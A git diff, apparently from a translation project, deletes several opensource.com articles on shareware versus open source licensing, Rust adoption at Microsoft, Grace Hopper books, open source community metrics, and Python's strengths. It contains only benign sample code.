and freeware - -My early years as a computer programmer started when I began to code in BASIC on my Apple II Plus in 1982. I recall going to the local computer store in my hometown and finding floppy diskettes in plastic bags containing software games and utilities for what seemed to be extraordinarily high prices. Keep in mind, this was from the perspective of a middle-schooler. - -There was, however, some software that was available for free or at a minimal price; this was referred to as shareware or freeware, depending on the exact licensing model. Under the shareware model, you could use the software for only a certain amount of time, and/or if you found it useful, then there was a request that you send in a check to the author of that software. - -Some shareware software, however, actually encouraged you to also make a copy and give it to your friends. This model is often referred to as freeware. That said, the exact definitions and differences between shareware and freeware are a bit soft, so it's collectively easiest to refer to both simply as "shareware." I cannot say for certain, but I doubt I ever provided money to any of the software authors for using their shareware, mainly because I had no money as an early teenager, but I sure enjoyed using these software programs and learned a lot about computers along the way. - -In retrospect, I realize now that I could have learned and accomplished so much more in my growth as a budding programmer if the software had been provided under open source license terms instead of shareware terms. This is because the source code (i.e., the human-readable form of software) is almost never provided with shareware. Shareware also contains licensing restrictions that prohibit the recipient from attempting to reveal the source code. Without access to the source code, it is extraordinarily difficult to learn how the software actually works, making it very difficult to expand or change its functionality. This leaves the end user completely dependent on the original shareware author for any changes or improvements. - -With the shareware model, it is practically impossible to enable any community of developers to leverage and further innovate around the code. There can also be further restrictions on redistribution and commercial usage. Although the shareware may be free in terms of price (at least initially), _it is not free in terms of freedom_ and does not allow you to learn and innovate by exploring the inner workings of the code. - -Which leads me to the big question: _How is this different from open source software?_ - -### The basics of open source licensing - -First, we need to understand that "open source" refers to a _licensing_ and a _software development model_ that are both significantly different than shareware. Under one form of open source called non-copyleft open source licensing, the user is provided key freedoms such as no restrictions on accessing source code; selling, using, or giving away the software for any purpose; or modifying the software. - -This form of license also does not require payment of any fee or royalty for use. One amazing outcome of this licensing model is its unique ability to enable countless software developers to collaborate on new and useful changes and innovations to the code because the license is highly permissive, requiring no negotiations for use. Although the source code is technically not required to be provided under such a license, it is almost always available for everyone to view, learn from, modify, and distribute to others. - -Another aspect of non-copyleft open source licensing is that any recipient of such software may add additional license restrictions. This means that the initial author that licensed the code under this form of license has no assurances that the recipient may not further license to others under more restrictive terms. For example: - -> _Let us assume an author, Noah, wrote some software and distributed it under a non-copyleft open source license to a recipient, Aviva. Aviva then modifies and improves Noah's software, which she is entitled to do under the non-copyleft open source license terms. Aviva could then decide to add further restrictions to any recipients of her software that could limit its use, such as where or how it may be used (e.g., Aviva could add in a restriction that the software may only be used within the geographical boundaries of California and never in any nuclear power plant). Aviva could also opt to never release the modified source code to others even though she had access to the source code._ - -Sadly, there are countless proprietary software companies that use non-copyleft open source licensed software in the way described immediately above. In fact, a shareware program could use non-copyleft open source licensed software by adding shareware-type restrictions (e.g., no access to source code or excluding commercial use) thereby converting non-copyleft open source licensed code to a shareware licensing model. - -Fortunately, many proprietary companies using non-copyleft open source licensed software see the benefits of releasing source code. These organizations often continue to perpetuate the open source model by providing their modified source code to their recipients or the broader open source community via software repositories like GitHub to enable a virtuous cycle of innovation. This isn't entirely out of benevolence (or at least it normally isn't): These companies want to encourage community innovation and further enhancements, which can benefit them further. - -At the same time, many proprietary companies do not opt to do this, which is well within the terms of non-copyleft open source licenses. - -### Copyleft-licensed open source software - -In 1989, a new open source license named the GNU General Public License, also known commonly as the GPL license, was developed with the objective to ensure that software should be inherently free (as in free speech) and that that these freedoms must always persist, unlike what sometimes happens with non-copyleft open source licensed software. In a unique application of copyright law, the GPL uses copyright law to ensure perpetual software freedoms, so long as the rules are followed (more on that later). This unique use of copyright is called copy**left**. - -Like non-copyleft open source software, this license allows recipients to use the software without restriction, examine the source code, change the software, and make further distributions of the original or modified software to other recipients. _Unlike_ a non-copyleft open source license, the copyleft open source license absolutely requires that any recipients are also provided these same freedoms. They can never be taken away unless the rules are not followed. - -What makes the copyleft open source license enforceable and an incentive for compliance is the application of copyright law. If one of the recipients of copyleft code does not comply with the license terms (e.g., by adding any additional restrictions on the use of the software or not providing the source code), then their license terminates, and they become a copyright infringer because they no longer have legal permission to use the software. In this way, the software freedoms are ensured for any downstream recipients of that copyleft software. - -### Beyond the basics: Other software license models - -I mentioned public domain earlier—while it's commonly conflated with open source, this model is a bit different. Public domain means that steps have been taken to see that there are no applicable copyright rights associated with the software, which most often happens when the software copyright expires or is disclaimed by the author. (In many countries, the mechanism to disclaim copyright is unclear, which is why some public domain software may provide an option to obtain an open source-type license as a fallback.) No license is required to use public domain software; whether this makes it "open source" or not is the subject of much debate, though many would consider public domain a form of open source if the source code were made available. - -Interestingly, there are a significant number of open source projects that make use of small modules of public domain software for certain functions. There are even entire programs that claim to be in the public domain, such as SQLite, which implements a SQL database engine and is used in many applications and devices. It is also common to see software with no license terms. - -Many people incorrectly assume that such unlicensed software is open source, in the public domain, or otherwise free to use without restriction. In most countries, including the United States, copyright in software exists when it is created. This means that it cannot be used without permission in the form of a license, unless the copyright is somehow disclaimed, rendering it in the public domain. Some exceptions exist to this general rule, like the laws of implied licenses or fair use, but these are quite complex in how they may apply to a specific situation. I do not recommend providing software with no license terms when the intention is for it to be under open source license terms as this leads to confusion and potential misuse. - -### Benefits of open source software - -As I said previously, open source enables an efficient software development model with enormous ability to drive innovation. But what does this really mean? - -One of the benefits of the open source licensing model is a significant reduction in the friction around innovation, especially innovation done by other users beyond the original creator. This friction is limited because using open source code generally does not require the negotiation of license terms, thereby greatly simplifying and lowering any cost burden for use. In turn, this creates a type of open source ecosystem that encourages rapid modification and combination of existing technologies to form something new. These changes are often provided back into this open source ecosystem, creating a cycle of innovation. - -There is an innumerable number of software programs that run everything from your toaster to Mars-going spacecraft that are the direct result of this effortless ability to combine various programs together… all enabled by the open source development model. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/shareware-vs-open-source - -作者:[Jeffrey Robert Kaufman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jkaufman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_dandelion_520x292.png?itok=-xhFQvUj (Person in a field of dandelions) diff --git a/sources/talk/20191009 Why to choose Rust as your next programming language.md b/sources/talk/20191009 Why to choose Rust as your next programming language.md deleted file mode 100644 index d8cad5c342..0000000000 --- a/sources/talk/20191009 Why to choose Rust as your next programming language.md +++ /dev/null @@ -1,112 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why to choose Rust as your next programming language) -[#]: via: (https://opensource.com/article/19/10/choose-rust-programming-language) -[#]: author: (Ryan Levick https://opensource.com/users/ryanlevick) - -Why to choose Rust as your next programming language -====== -Selecting a programming language can be complicated, but some -enterprises are finding that switching to Rust is a relatively easy -decision. -![Programming books on a shelf][1] - -Choosing a programming language for a project is often a complicated decision, particularly when it involves switching from one language to another. For many programmers, it is not only a technical exercise but also a deeply emotional one. The lack of known or measurable criteria for picking a language often means the choice digresses into a series of emotional appeals. - -I've been involved in many discussions about choosing a programming language, and they usually conclude in one of two ways: either the decision is made using measurable, yet unimportant criteria while ignoring relevant, yet hard to measure criteria; or it is made using anecdotes and emotional appeals. - -There has been one language selection process that I've been a part of that has gone—at least so far—rather smoothly: the growing [consideration inside Microsoft][2] for using [Rust][3]. - -This article will explore several issues related to choosing a programming language in general and Rust in particular. They are: What are the criteria usually used for selecting a programming language, especially in large businesses, and why does this process rarely end successfully? Why has the consideration of Rust in Microsoft gone smoothly so far, and are there some general best practices that can be gleaned from it? - -### Criteria for choosing a language - -There are many criteria for deciding whether to switch to a new programming language. In general, the criteria that are most easily measured are the ones that are most often talked about, even if they are less important than other, more difficult-to-measure criteria. - -#### Technical criteria - -The first group of criteria are the technical considerations; they are often the first that come to mind because they are the easiest to measure. - -Interestingly, the technical costs (e.g., build system integration, monitoring, tooling, support libraries, and more) are often easier to measure than the technical benefits. This is especially detrimental to the adoption of new programming languages, as the downsides of adoption are often the clearest part of the picture. - -While some technical benefits (like performance) can be measured relatively easily, others are much harder to measure. For example, what are the relative merits of a dynamic typing system (like in Python) to a relatively verbose and feature-poor system (like Java), and how does this change when compared to stronger typed systems like Scala or Haskell? Many people have strong gut feelings that such technical differences should be taken very seriously in language considerations, but they are no good ways to measure them. - -A side effect of the discrepancy in measurement ease is that the easiest-to-measure items are often given the most weight in the decision-making process even if that would not be the case with perfect information. This not only throws off the cost/benefit analysis but also the process of assigning importance to different costs and benefits. - -#### Organizational criteria - -Organizational criteria, which are the second consideration, include: - - * How easy will it be to hire developers in this language? - * How easy is it to enforce programming standards? - * How quickly, on average, will developers be able to deliver software? - - - -Costs and benefits of organizational criteria are hard to measure. People usually have vague, "gut feeling" answers to them, which create strong opinions on the matter. Unfortunately, however, it's often very difficult to measure these criteria. For example, it might be obvious to most that TypeScript allows programmers to deliver functioning, relatively bug-free software to customers more quickly than C does, but where is the data to back this up? - -Moreover, it's often extremely difficult to assign importance weights to these criteria. It's easy to see that Go enforces standardized coding practices more easily than Scala (due to the wide use of gofmt), but it is extremely difficult to measure the concrete benefits to a company from standardizing codebases. - -These criteria are still extremely important but, because of the difficulty in measuring them, they are often either ignored or reasoned about through anecdotes. - -#### Emotional criteria - -Third are the emotional criteria, which tend to be overlooked if not outright dismissed. - -Software programming has traditionally tried to emulate more true "engineering" practices, where technical considerations are generally the most important. Some would argue that programming languages are "just tools" and should be measured only against technical criteria. Others would argue that programming languages assist the programmer in some of the more artistic aspects of the job. These criteria are extremely difficult to measure in any meaningful way. - -In general, this comes down to how happy (and thus productive) programmers feel using this language. Such considerations can have a real impact on programmers, but how this translates to benefitting to an entire team is next to impossible to measure. - -Because of the difficulty of quantifying these criteria, this is often ignored. But does this mean that emotional considerations of programming languages have no significant impact on programmers or programming organizations? - -#### Unknown criteria - -Finally, there's a set of criteria that are often overlooked because a new programming language is usually judged by the criteria set by the language currently in use. New languages may have capabilities that have no equivalent in other languages, so many people will not be familiar with them. Having no exposure to those capabilities may mean the evaluator unknowingly ignores or downplays them. - -These criteria can be technical (e.g., the merits of Kotlin data classes over Java constructs), organizational (e.g., how helpful Elm error messages are for teaching those new to the language), or emotional (e.g., the way Ruby makes the programmer feel when writing it). - -Because these aspects are hard to measure, and someone completely unfamiliar with them has no existing framework for judging them based on experience, intuition, or anecdote, they are often undervalued versus more well-understood criteria—if not outright ignored. - -### Why Rust? - -This brings us back to the growing excitement for Rust in Microsoft. I believe the discussions around Rust adoption have gone relatively smoothly so far because Rust offers an extremely clear and compelling advantage—not only over the language it seeks to replace (C++)—but also over any other language practically available to industry: great performance, a high level of control, and being memory safe. - -Microsoft's decision to investigate Rust (and other languages) began due to the fact that roughly [70% of Common Vulnerabilities and Exposures][4] (CVEs) in Microsoft products were related to memory safety issues in C and C++. When it was discovered that most of the affected codebases could not be effectively rewritten in C# because of performance concerns, the search began. Rust was viewed as the only possible candidate to replace C++. It was similar enough that not everything had to be reworked, but it has a differentiator that makes it measurably better than the current alternative: being able to eliminate nearly 70% of Microsoft's most serious security vulnerabilities. - -There are other reasons beyond memory safety, performance, and control that make Rust appealing (e.g., strong type safety guarantees, being an extremely loved language, etc.) but as expected, they were hard to talk about because they were hard to measure. In general, most people involved in the selection process were more interested in verifying that these other aspects of the language weren't perceivably worse than C++ but, because measuring these aspects was so difficult, they weren't considered active reasons to adopt the language. - -However, the Microsoft teams that had already adopted Rust, like for the [IoT Edge Security Daemon][5], touted other aspects of the language (particularly "correctness" due to the advanced type system) as the reasons they were most keen on investing more in the language. These teams couldn't provide reliable measurements for these criteria, but they had clearly developed an intuition that this aspect of the language was extremely important. - -With Rust at Microsoft, the main criteria being judged happened to be an easily measurable one. But what happens when an organization's most important issues are hard to measure? These issues are no less important just because they are currently difficult to measure. - -### What now? - -Having clearly measurable criteria is important when adopting a new programming language, but this does not mean that hard-to-measure criteria aren't real and shouldn't be taken seriously. We simply lack the tools to evaluate new languages holistically. - -There has been some research into this question, but it has not yet produced anything that has been widely adopted by industry. While the case for Rust was relatively clear inside Microsoft, this doesn't mean new languages should be adopted only where there is one clear, technical reason to do so. We should become better at evaluating more aspects of programming languages beyond just the traditional ones (such as performance). - -The path to Rust adoption is just beginning at Microsoft, and having just one reason to justify investment in Rust is definitely not ideal. While we're beginning to form collective, anecdotal evidence to justify Rust adoption further, there is definitely a need to quantify this understanding better and be able to talk about it in more objective terms. - -We're still not quite sure how to do this, but stay tuned for more as we go down this path. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/choose-rust-programming-language - -作者:[Ryan Levick][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ryanlevick -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/books_programming_languages.jpg?itok=KJcdnXM2 (Programming books on a shelf) -[2]: https://msrc-blog.microsoft.com/tag/rust -[3]: https://www.rust-lang.org/ -[4]: https://github.com/microsoft/MSRC-Security-Research/blob/master/presentations/2019_02_BlueHatIL/2019_01%20-%20BlueHatIL%20-%20Trends%2C%20challenge%2C%20and%20shifts%20in%20software%20vulnerability%20mitigation.pdf -[5]: https://msrc-blog.microsoft.com/2019/09/30/building-the-azure-iot-edge-security-daemon-in-rust/ diff --git a/sources/talk/20191011 Everything you need to know about Grace Hopper in six books.md b/sources/talk/20191011 Everything you need to know about Grace Hopper in six books.md deleted file mode 100644 index 4c077a80c1..0000000000 --- a/sources/talk/20191011 Everything you need to know about Grace Hopper in six books.md +++ /dev/null @@ -1,65 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Everything you need to know about Grace Hopper in six books) -[#]: via: (https://opensource.com/article/19/10/grace-hopper-books) -[#]: author: (Joshua Allen Holm https://opensource.com/users/holmja) - -Everything you need to know about Grace Hopper in six books -====== -A reading list for people of all ages about the legendary Queen of Code. -![Book list, favorites][1] - -Grace Hopper is one of those iconic figures that really needs no introduction. During her long career in the United States Navy, she was a key figure in the early days of modern computing. If you have been involved in open source or technology in general, chances are you have already heard several anecdotes about Grace Hopper. The story of finding [the first computer bug][2], perhaps? Or maybe you have heard some of her nicknames: Queen of Code, Amazing Grace, or Grandma COBOL? - -While computing has certainly changed from the days of punch cards, Grace Hopper's legacy lives on. She was posthumously awarded a Presidential Medal of Freedom, the Navy named a warship after her, and the [Grace Hopper Celebration][3] is an annual conference with an emphasis on topics that are relevant to women in computing. Suffice it to say, Grace Hopper's name is going to live on for a very long time. - -Grace Hopper had a career anyone should be proud of, and she accomplished many great things. Like many historical figures who have accomplished great things, sometimes the anecdotes about her contributions start to drift towards the realm of tall tales, which does Grace Hopper a disservice. Her real accomplishments are already legendary, and there is no reason to try to turn her into the computer science version of [John Henry][4] or [Paul Bunyan][5]. - -To that end, here are six books that explore the life and legacy of Grace Hopper. No tall tales, just story after story of Grace Hopper, a woman who changed the world. - -## - -[broad_band_150.jpg][6] - -![Broad Band book cover][7] - -Broad Band: The Untold Story of the Women Who Made the Internet - -### by Claire L. Evans - -In [_Broad Band: The Untold Story of the Women Who Made the Internet_][8], Claire L. Evans explores the lives of several women whose contributions to technology helped to shape the internet. Starting with Ada Lovelace and moving towards modern times with Grace Hopper and others, Evans weaves an interesting narrative that highlights the roles various women played in early computing. While only part of the book focuses on Grace Hopper, the overarching narrative of Evans's work does an excellent job of showcasing Hopper's place in computing history. - -## - -[grace_hopper_admiral_of_the_cyber_sea_150.jpg][9] - -![Grace Hopper: Admiral of the Cyber Sea cover][10] - -I sat down with Leslie Hawthorn , Community Manager at Red Hat, and chatted with her about the 2012... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/grace-hopper-books - -作者:[Joshua Allen Holm][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/holmja -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/reading_book_stars_list.png?itok=Iwa1oBOl (Book list, favorites) -[2]: https://www.computerhistory.org/tdih/september/9/ -[3]: https://ghc.anitab.org/ -[4]: https://en.wikipedia.org/wiki/John_Henry_(folklore) -[5]: https://en.wikipedia.org/wiki/Paul_Bunyan -[6]: https://opensource.com/file/453331 -[7]: https://opensource.com/sites/default/files/uploads/broad_band_150.jpg (Broad Band book cover) -[8]: https://clairelevans.com/ -[9]: https://opensource.com/file/453336 -[10]: https://opensource.com/sites/default/files/uploads/grace_hopper_admiral_of_the_cyber_sea_150.jpg (Grace Hopper: Admiral of the Cyber Sea cover) diff --git a/sources/talk/20191017 Measuring the business value of open source communities.md b/sources/talk/20191017 Measuring the business value of open source communities.md deleted file mode 100644 index d270340f91..0000000000 --- a/sources/talk/20191017 Measuring the business value of open source communities.md +++ /dev/null @@ -1,117 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Measuring the business value of open source communities) -[#]: via: (https://opensource.com/article/19/10/measuring-business-value-open-source) -[#]: author: (Jon Lawrence https://opensource.com/users/the3rdlaw) - -Measuring the business value of open source communities -====== -Corporate constituencies are interested in finding out the business -value of open source communities. Find out how to answer key questions -with the right metrics. -![Lots of people in a crowd.][1] - -In _[Measuring the health of open source communities][2]_, I covered some of the key questions and metrics that we’ve explored as part of the [CHAOSS project][3] as they relate to project founders, maintainers, and contributors. In this article, we focus on open source corporate constituents (such as open source program offices, business risk and legal teams, human resources, and others) and end users. - -Where the bulk of the metrics for core project teams are quantitative, for the remaining constituents our metrics must reflect a much broader range of interests, and address many more qualitative measures. From the metrics collection standpoint, much of the data collection for qualitative measures is much more manual and subjective, but it is nonetheless within the scope CHAOSS hopes to be able to address as the project matures. - -While people on the business side of things do sometimes care about the metrics in use by the project itself, there are only two fundamental questions that corporate constituencies have. The first is about _value_: "Will this choice help our business make more money sooner?" The second is about _risk_: "Will this choice hurt our business’s chances of making money?" - -Those questions can come in many different iterations across disciplines, from human resources to legal counsel and executive offices. But, at the end of the day, having answers that are based on data can make open source engagement more efficient, effective, and less risky. - -Once again, the information below is structured in a Goal-Question-Metric format: - - * Open source program offices (OSPOs) - * As an OSPO leader, I care about prioritizing our resources toward healthy communities: - * How [active][4] is the community? -**Metric:** [Code development][5] \- The number of commits and pull requests, review time for new code commits and pull requests, code reviews and merges, the number of accepted vs. rejected pull requests, and the frequency of new version releases. -**Metric:** [Issue resolution][6] \- The number of new issues, closed issues, the ratio of new vs. closed issues, and the average open time per issue. -**Metric:** Social - Social media mention counts, social media sentiment analysis, the activity of community blog, and news releases (_future release_). - * What is the [value][7] of our contributions to the project? (This is an area in active development.) -**Metric:** Time value - Time saved for training developers on new technologies, and time saved maintaining custom development once the improvements are upstreamed. -**Metric:** Dollar value - How much would it have cost to maintain changes and custom solutions internally, versus contributing upstream and ensuring compatibility with future community releases - * What is the value of contributions to the project by other contributors and organizations? -**Metric:** Time value - Time to market, new community-developed features released, and support for the project by the community versus the company. -**Metric:** Dollar value - How much would it cost to internally rebuild the features provided by the community, and what is the opportunity cost of lagging behind innovations in open source projects? - * Downstream value: How many other projects list our project as a dependency? -**Metric:** The value of the ecosystem that is around a project. - * How many forks of our project have there been? -**Metric:** Are core developers more active in the mainline or a fork? -**Metric:** Are the forks contributing back to the mainline, or developing in new directions? - * Engineering leadership - * As an approving architect, I care most about good design patterns that introduce a minimum of technical debt. -**Metric:** [Test Coverage][8] \- What percentage of the code is tested? -**Metric:** What is the percentage of code undergoing code reviews? -**Metric:** Does the project follow [Core][9] [Infrastructure][9] [Initiative (CII) Best Practices][9]? - * As an engineering executive, I care most about minimizing time-to-market and bugs, and maximizing platform stability and reliability. -**Metric:** The defect resolution velocity. -**Metric:** The defect density. -**Metric:** The feature development velocity. - * I also want social proofs that give me a level of comfort. -**Metric:** Sentiment analysis of social media related to the project. -**Metric:** Count of white papers. -**Metric:** Code Stability - Project version numbers and the frequency of new releases. - - - -There is also the issue of legal counsel. This goal statement is: "As legal counsel, I care most about minimizing our company’s chances of getting sued." The question is: "What kind of license does the software have, and what obligations do we have under the license?" - -The metrics involved here are: - - * **Metric:** [License Count][10] \- How many different licenses are declared in a given project? - * **Metric:** [License Declaration][11] \- What kinds of licenses are declared in a given project? - * **Metric:** [License Coverage][12] \- How much of a given codebase is covered by the declared license? - - - -Lastly, there are further goals our project is considering to measure the impact of corporate open source policy as it relates to talent acquisition and retention. The goal for human resource managers is: "As an HR manager, I want to attract and retain the best talent I can." The questions and metrics are as follows: - - * What impact do our open source policies have on talent acquisition? -**Metric:** Talent acquisition - Measure over time how many candidates report that it’s important to them that they get to work with open source technologies. - * What impact do our open source policies have on talent retention? -**Metric:** Talent retention - Measure how much employee churn can be reduced because of people being able to work with or use open source technologies. - * What is the impact on training employees who can learn from engaging in open source projects? -**Metric:** Talent development - Measure over time the importance to employees of being able to use open source tech effectively. - * How does allowing employees to work in a community outside of the company impact job satisfaction? -**Metric:** Talent satisfaction - Measure over time the importance to employees of being able to contribute to open source tech. -**Source:** Internal surveys. -**Source:** Exit interviews. Did our policies around open source technologies at all influence your decision to leave? - - - -### Wrapping up - -It is still the early days of building a platform for bringing together these disparate data sources. The CHAOSS core of [Augur][13] and [GrimoireLab][14] currently supports over two dozen sources, and I’m excited to see what lies ahead for this project. - -As the CHAOSS frameworks mature, I’m optimistic that teams and projects that implement these types of measurement will be able to make better real-world decisions that result in healthier and more productive software development lifecycles. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/measuring-business-value-open-source - -作者:[Jon Lawrence][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/the3rdlaw -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_community_1.png?itok=rT7EdN2m (Lots of people in a crowd.) -[2]: https://opensource.com/article/19/8/measure-project -[3]: https://github.com/chaoss/ -[4]: https://github.com/chaoss/wg-evolution/blob/master/focus_areas/community_growth.md -[5]: https://github.com/chaoss/wg-evolution#metrics -[6]: https://github.com/chaoss/wg-evolution/blob/master/focus_areas/issue_resolution.md -[7]: https://github.com/chaoss/wg-value -[8]: https://chaoss.community/metric-test-coverage/ -[9]: https://github.com/coreinfrastructure/best-practices-badge -[10]: https://github.com/chaoss/wg-risk/blob/master/metrics/License_Count.md -[11]: https://github.com/chaoss/wg-risk/blob/master/metrics/License_Declared.md -[12]: https://github.com/chaoss/wg-risk/blob/master/metrics/License_Coverage.md -[13]: https://github.com/chaoss/augur -[14]: https://github.com/chaoss/grimoirelab diff --git a/sources/talk/20191029 5 reasons why I love Python.md b/sources/talk/20191029 5 reasons why I love Python.md deleted file mode 100644 index 5df5be960e..0000000000 --- a/sources/talk/20191029 5 reasons why I love Python.md +++ /dev/null @@ -1,168 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 reasons why I love Python) -[#]: via: (https://opensource.com/article/19/10/why-love-python) -[#]: author: (Moshe Zadka https://opensource.com/users/moshez) - -5 reasons why I love Python -====== -These are a few of my favorite things about Python. -![Snake charmer cartoon with a yellow snake and a blue snake][1] - -I have been using Python since it was a little-known language in 1998. It was a time when [Perl was quite popular][2] in the open source world, but I believed in Python from the moment I found it. My parents like to remind me that I used to say things like, "Python is going to be a big deal" and "I'll be able to find a job using it one day."** **It took a while, but my predictions came true. - -There is so much to love about the language. Here are my top 5 reasons why I continue to love Python so much (in reverse order, to build anticipation). - -### 5\. Python reads like executable pseudocode - -Pseudocode is the concept of writing out programming logic without it following the exact syntax and grammar of a specific language. I have stopped writing much pseudocode since becoming a Python programmer because its actual design meets my needs. - -Python can be easy to read even if you don't know the language well and that is very much by design. It is reasonably famous for whitespace requirements for code to be able to run. Whitespace is necessary for any language–it allows us to see each of the words in this sentence as distinct. Most languages have suggestions or  "best practices" around whitespace usage, but Python takes a bold step by requiring standardization. For me, that makes it incredibly straightforward to read through code and see exactly what it's doing. - -For example, here is an implementation of the classic [bubble sort algorithm][3]. - - -``` -def bubble_sort(things): - -    needs_pass = True - -    while needs_pass: - -        needs_pass = False - -        for idx in range(1, len(things)): - -            if things[idx - 1] > things[idx]: - -                things[idx - 1], things[idx] = things[idx], things[idx - 1] - -                needs_pass = True -``` - -Now let's compare that with [this implementation][4] in Java. - - -``` -public static int[] bubblesort(int[] numbers) { -    boolean swapped = true; -    for(int i = numbers.length - 1; i > 0 && swapped; i--) { -        swapped = false; -        for (int j = 0; j < i; j++) { -            if (numbers[j] > numbers[j+1]) { -                int temp = numbers[j]; -                numbers[j] = numbers[j+1]; -                numbers[j+1] = temp; -                swapped = true; -            } -        } -    } -    return numbers; -} -``` - -I appreciate that Python requires indentation to indicate nesting of blocks. While our Java example also uses indentation quite nicely, it is not required. The curly brackets are what determine the beginning and end of the block, not the spacing. Since Python uses whitespace as syntax, there is no need for beginning **{** and end **}** notation throughout the other code.  - -Python also avoids the need for semicolons, which is a [syntactic sugar][5] needed to make other languages human-readable. Python is much easier to read on my eyes and it feels so close to pseudocode it sometimes surprises me what is runnable! - -### 4\. Python has powerful primitives - -In programming language design, a primitive is the simplest available element. The fact that Python is easy to read does _not_ mean it is not a powerful language, and that stems from its use of primitives. My favorite example of what makes Python both easy to use and advanced is its concept of **generators**.  - -Imagine you have a simple binary tree structure with `value`, `left`, and `right`. You want to easily iterate over it in order. You usually are looking for "small" elements, in order to exit as soon as the right value is found. That sounds simple so far. However, there are many kinds of algorithms to make a decision on the element. - -Other languages would have you write a **visitor**, where you invert control by putting your "is this the right element?" in a function and call it via function pointers. You _can_ do this in Python. But you don't have to. - - -``` -def in_order(tree): - -    if tree is None: - -        return - -    yield from in_order(tree.left) - -    yield tree.value - -    yield from in_order(tree.right) -``` - -This _generator function_ will return an iterator that, if used in a **for** loop, will only execute as much as needed but no more. That's powerful. - -### 3\. The Python standard library - -Python has a great standard library with many hidden gems I did not know about until I took the time to [walk through the list of all available][6] functions, constants, types, and much more. One of my personal favorites is the `itertools` module, which is listed under the functional programming modules (yes, [Python supports functional programming][7]!). - -It is great for playing jokes on your tech interviewer, for example with this nifty little solution to the classic [FizzBuzz interview question][8]: - - -``` -fizz = itertools.cycle(itertools.chain(['Fizz'], itertools.repeat('', 2))) - -buzz = itertools.cycle(itertools.chain(['Buzz'], itertools.repeat('', 4))) - -fizz_buzz = map(operator.add, fizz, buzz) - -numbers = itertools.islice(itertools.count(), 100) - -combo = zip(fizz_buzz, numbers) - -for fzbz, n in combo: - -    print(fzbz or n) -``` - -A quick web search will show that this is not the most straight-forward way to solve for FizzBuzz, but it sure is fun! - -Beyond jokes, the `itertools` module, as well as the `heapq` and `functools` modules are a trove of treasures that come by default in your Python implementation. - -### 2\. The Python ecosystem is massive - -For everything that is not in the standard library, there is an enormous ecosystem to support the new Pythonista, from exciting packages to text editor plugins specifically for the language. With around 200,000 projects hosted on PyPi (at the time of writing) and growing, there is something for everyone: [data science][9], [async frameworks][10], [web frameworks][11], or just tools to make [remote automation][12] easier. - -### 1\. The Python community is special - -The Python community is amazing. It was one of the first to adopt a code of conduct, first for the [Python Software Foundation][13] and then for [PyCon][14]. There is a real commitment to diversity and inclusion: blog posts and conference talks on this theme are frequent, thoughtful, and well-read by Python community members. - -While the community is global, there is a lot of great activity in the local community as well. Local Python meet-ups are a great place to meet wonderful people who are smart, experienced, and eager to help. A lot of meet-ups will explicitly have time set aside for experienced people to help newcomers who want to learn a new concept or to get past an issue with their code. My local community took the time to support me as I began my Python journey, and I am privileged to continue to give back to new developers. - -Whether you can attend a local community meet-up or you spend time with the [online Python community][15] across IRC, Slack, and Twitter, I am sure you will meet lovely people who want to help you succeed as a developer.  - -### Wrapping it up - -There is so much to love about Python, and now you know my favorite part is definitely the people. - -I have found kind, thoughtful Pythonistas in the community throughout the world, and the amount of community investment provide to those in need is incredibly encouraging. In addition to those I've met, the simple, clean, and powerful Python language gives any developer more than enough to master on their journey toward a career in software development or as a hobbyist enjoying playing around with a fun language. If you are interested in learning your first or a new language, consider Python and let me know how I can help. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/10/why-love-python - -作者:[Moshe Zadka][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/moshez -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/getting_started_with_python.png?itok=MFEKm3gl (Snake charmer cartoon with a yellow snake and a blue snake) -[2]: https://opensource.com/article/19/8/command-line-heroes-perl -[3]: https://en.wikipedia.org/wiki/Bubble_sort -[4]: https://en.wikibooks.org/wiki/Algorithm_Implementation/Sorting/Bubble_sort#Java -[5]: https://en.wikipedia.org/wiki/Syntactic_sugar -[6]: 